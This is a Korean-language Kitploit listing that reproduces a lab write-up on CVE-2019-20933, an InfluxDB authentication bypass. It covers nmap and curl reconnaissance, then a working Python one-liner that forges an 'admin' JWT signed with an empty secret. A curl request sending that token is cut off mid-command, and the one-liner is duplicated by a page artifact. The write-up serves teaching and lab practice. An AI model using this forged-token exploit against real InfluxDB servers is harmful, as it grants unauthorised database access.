Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-20933 — CVE-2019-20933 InfluxDB 인증 우회를 위조된 JWT 토큰을 통해 보여주는 단계별 실습 보고서로, 익스플로잇, 사후 익스플로잇 및 대응 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2019-20933
Authentication & AuthorizationVulnerability AnalysisExploitationCTFPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubdungsocool/cve-2019-20933

CVE-2019-20933

CVE-2019-20933 InfluxDB 인증 우회를 위조된 JWT 토큰을 통해 보여주는 단계별 실습 보고서로, 익스플로잇, 사후 익스플로잇 및 대응 지침을 포함합니다.

저장소 보기
154개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LAB 5-CVE-2019-20933

I. 시스템 분석

공격 표면 식별

환경에서 실행 중인 것으로 시작합니다. 실행 중인 모든 컨테이너를 나열합니다:

docker ps

image.png

피해자는 단일 포트 8086을 노출합니다.

현재 대상에 대한 자세한 정보는 없습니다. docker ps 출력에서 시스템은 포트 8086에서 외부로 주목할 만한 서비스 하나만 노출하며, 이는 컨테이너 내부의 서비스에 매핑됩니다. 이것이 분석할 기본 공격 표면입니다.

브라우저를 통해 즉시 접근하는 대신, Nmap을 사용하여 포트 8086에서 실행 중인 서비스를 확인하기 위해 핑거프린팅을 진행합니다:

nmap -sV -sC -p 8086 192.168.3.137

image.png

스캔 결과는 포트 8086이 InfluxDB OSS 1.6.6의 HTTP 서비스임을 보여줍니다. 이는 일반적인 웹 애플리케이션이 아닌 HTTP API를 통해 노출된 시계열 데이터베이스입니다.

핑거프린팅 후 사고 분석

InfluxDB는 Go로 작성된 오픈 소스 시계열 데이터베이스(TSDB)입니다. RDBMS(정밀 트랜잭션에 최적화)나 Elasticsearch(텍스트 검색에 최적화)와 달리 InfluxDB는 단일 목적, 즉 대량 쓰기 처리(높은 쓰기 처리량)와 시간 축을 따라 낮은 지연 시간으로 데이터를 쿼리하기 위해 만들어졌습니다.

image.png

서비스가 InfluxDB로 식별되었으므로, 다음 단계는 InfluxDB가 클라이언트와 통신하는 방식을 참조하는 것입니다. InfluxDB v1 HTTP API 문서에 따르면 포트 8086은 기본 HTTP API 포트입니다. 중요한 엔드포인트는 다음과 같습니다:

  • /ping: 서버의 작동 상태를 확인합니다.
  • /query: InfluxQL 쿼리를 보내 메타데이터 또는 데이터를 읽습니다.
  • /write: 시계열 데이터를 데이터베이스에 씁니다.

⇒ 생각: Nmap이 서비스를 InfluxDB http admin 1.6.6으로 식별한 후, 표준 웹사이트처럼 테스트를 계속하지 않습니다. 웹 애플리케이션의 경우 일반적으로 경로, 로그인 양식 또는 디렉토리를 찾습니다. 그러나 InfluxDB의 경우 공격 표면은 HTTP API 내에 있습니다. 따라서 테스트 방향을 전환하여 API가 인증을 요구하는지 확인하기 위해 표준 InfluxDB API 엔드포인트를 테스트해야 합니다. 결과적으로 다음 테스트 방향은 브라우저를 통해 /에 접근하는 것이 아니라, InfluxDB의 API 엔드포인트에 직접 요청을 보내는 것입니다.

API 동작 분석 및 인증 대상 식별

/ping 엔드포인트 확인

포트 8086이 InfluxDB HTTP API로 식별된 후, 서비스가 작동 중인지 확인하기 위해 /ping 엔드포인트를 확인합니다:

curl -i <http://192.168.3.137:8086/ping>

image.png

응답 204 No Content는 InfluxDB가 정상적으로 작동 중임을 확인합니다. 헤더는 서비스 버전을 InfluxDB OSS 1.6.6으로 추가 확인합니다.

/query 엔드포인트에서 인증 확인

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

image.png

/query 엔드포인트는 인증 자격 증명 없이는 직접 쿼리를 허용하지 않습니다. 이는 InfluxDB에 인증이 활성화되어 시스템으로 전송되는 모든 익명 쿼리를 차단함을 확인합니다.

생각을 전환합니다: InfluxDB 버전 1.6.6에 인증 메커니즘을 우회할 수 있는 취약점이 있습니까?

image.png

공개 취약점 데이터베이스를 참조하면, 1.7.6 이전의 InfluxDB 버전은 CVE-2019-20933의 영향을 받습니다. 이는 빈 공유 시크릿을 가진 JWT 토큰 처리와 관련된 InfluxDB 인증 기능의 인증 우회 취약점입니다.

대상이 패치된 버전 1.7.6보다 낮은 InfluxDB 1.6.6을 실행 중이므로, 서비스는 영향을 받는 버전 범위에 속합니다.

다음과 같이 결론지을 수 있습니다:

서비스버전인증CVE 매핑영향상태
InfluxDB OSS1.6.6활성화됨CVE-2019-20933인증 우회취약한 버전

⇒ 생각: 처음에 /query 엔드포인트는 401 Unauthorized를 반환하여 인증 메커니즘이 활성화되어 있음을 나타냅니다. 그러나 인증이 활성화되어 있다고 해서 절대적인 보안을 의미하지는 않습니다. 버전이 1.6.6으로 식별되면 알려진 CVE와 연관 지어야 합니다. 결과는 이 버전이 CVE-2019-20933의 영향을 받는 범위에 속함을 나타내며, 이는 /query 엔드포인트를 보호하는 인증 메커니즘을 우회할 수 있음을 의미합니다. 이러한 식별 결과를 바탕으로 익스플로잇 단계는 적절한 JWT 토큰을 생성하여 인증을 우회하고 /query 엔드포인트에 대해 쿼리를 실행함으로써 CVE-2019-20933을 확인하는 데 초점을 맞출 것입니다.

취약점 메커니즘 분석 (CVE-2019-20933)

CVE-2019-20933 취약점은 버전 1.7.6 이전의 InfluxDB의 services/httpd/handler.go 파일 내 authenticate 함수에서 발생합니다.

InfluxDB의 JWT 인증 메커니즘

InfluxDB는 HTTP API 요청에 대해 **JSON Web Token (JWT)**을 사용한 인증을 지원합니다. 다음 헤더와 함께 요청을 수신하면:

Authorization: Bearer <token>

InfluxDB는 다음 단계를 수행합니다:

  1. 토큰을 디코딩하여 Header와 Payload를 추출합니다.
  2. influxdb.conf 파일에서 shared-secret 구성 값을 읽어 토큰 서명 검증을 위한 비밀 키로 사용합니다.
  3. 서명이 유효하면 클레임에서 username 필드를 검색하여 쿼리를 실행하는 사용자를 결정합니다.

결함

영향을 받는 버전에서 JWT 인증이 활성화되었지만 shared-secret 매개변수가 구성되지 않은 경우, 비밀 값이 빈 문자열("")로 처리될 수 있습니다.

시스템은 JWT 서명을 검증하기 전에 비밀의 보안 강도를 적절히 검증하지 못합니다. 이로 인해 공격자는 사용자 정의 JWT를 구성하고 빈 비밀로 서명한 다음, username 클레임을 시스템의 유효한 계정(예: 실습실에 해당 계정이 있는 경우 admin)으로 설정할 수 있습니다.

이 토큰이 Authorization: Bearer <token> 헤더를 통해 제출되면 InfluxDB는 동일한 빈 비밀을 사용하여 서명을 검증합니다. 서명이 일치하고 사용자 이름이 존재하면 요청은 실제 사용자 비밀번호 없이 승인됩니다.

처리 흐름은 다음과 같이 요약할 수 있습니다:

단계정상 처리CVE-2019-20933의 결함
1클라이언트가 Authorization: Bearer <token> 전송공격자가 JWT 자체 생성
2서버가 구성에서 shared-secret 읽음shared-secret이 설정되지 않음
3서버가 비밀을 사용하여 JWT 서명 검증비밀이 빈 문자열 ""로 처리됨
4토큰이 유효하면 클레임에서 username 추출공격자가 사용자 존재 시 username=admin으로 설정
5서버가 클레임 사용자에 기반하여 권한 부여비밀번호 없이 요청이 수락됨

논리 수준에서의 익스플로잇 흐름:

InfluxDB < 1.7.6
→ 인증 활성화됨
→ 빈 shared-secret
→ 공격자가 비밀 ""로 서명된 JWT 생성
→ Authorization: Bearer를 통해 토큰 전송
→ 서버가 토큰 수락
→ /query에 대한 쿼리 성공

요약

CVE 메커니즘을 이해한 후에는 버전만으로 결론을 내리는 것을 피하기 위해 이를 대상과 연관 지을 필요가 있습니다.

조건대상 결과평가
서비스가 InfluxDB임Nmap이 InfluxDB http admin 1.6.6 식별충족
버전이 영향을 받는 범위에 속함1.6.6 < 1.7.6충족
인증 활성화됨/query가 401 Unauthorized 반환충족
빈 공유 시크릿으로 서명된 JWT가 수락되는가?확인 필요미확인
JWT의 사용자 이름이 유효한가?확인 필요/실습실에서 가정미확인

현재 시점에서 CVE-2019-20933은 대상에 매우 적합한 후보로 식별됩니다. 그러나 실제 익스플로잇을 확인하려면 빈 shared secret으로 서명된 JWT를 생성하여 /query 엔드포인트로 전송해야 합니다.

서버가 이 토큰을 수락하고 쿼리 실행을 허용하면 그때서야 CVE가 성공적으로 익스플로잇되었다고 결론 내릴 수 있습니다.

II. 익스플로잇

위조 JWT 수동 제작

위의 취약점 메커니즘 분석에서 익스플로잇 조건은 다음과 같습니다:

  1. 시스템에서 유효한 username을 가진 JWT를 생성합니다.
  2. 이 토큰을 빈 비밀 키("")로 서명합니다.
  3. Authorization: Bearer <token> 헤더를 통해 /query 엔드포인트로 토큰을 전송합니다.

생성할 JWT 구조 식별

JWT는 점으로 구분된 3개의 부분으로 구성됩니다: Header.Payload.Signature

Header

{"alg":"HS256","typ":"JWT"}

Payload

{"username":"admin","exp":2147483647}
  • username: 대상 계정. 이 실습에서 InfluxDB는 기본 admin 사용자를 생성합니다.
  • exp: 토큰 만료 시간. 만료로 인한 거부를 피하기 위해 매우 먼 미래(2038년)로 설정됩니다.

Signature

HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))

Kali에서 Python 한 줄 명령으로 JWT 생성

Kali에서 단일 명령으로 전체 JWT를 생성합니다:

python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

image.png

다음 문자열을 얻습니다:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
  • b64url(): Python 사전을 JSON 문자열로 변환하고 Base64URL 형식(JWT 표준에 따라 = 패딩 제거)으로 인코딩합니다.
  • hmac.new(b'', ...): 빈 키(b'')로 HMAC-SHA256 알고리즘을 사용하여 메시지에 서명합니다. 이것이 익스플로잇 벡터입니다. 빈 키는 서버에 구성되지 않은 shared-secret과 일치합니다.
  • 최종 결과는 JWT RFC 7519 표준을 준수하는 Header.Payload.Signature 문자열입니다.

CVE 확인을 위해 /query 엔드포인트로 토큰 전송

토큰을 환경 변수에 저장한 다음 SHOW DATABASES 쿼리를 전송합니다:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
도구 다운로드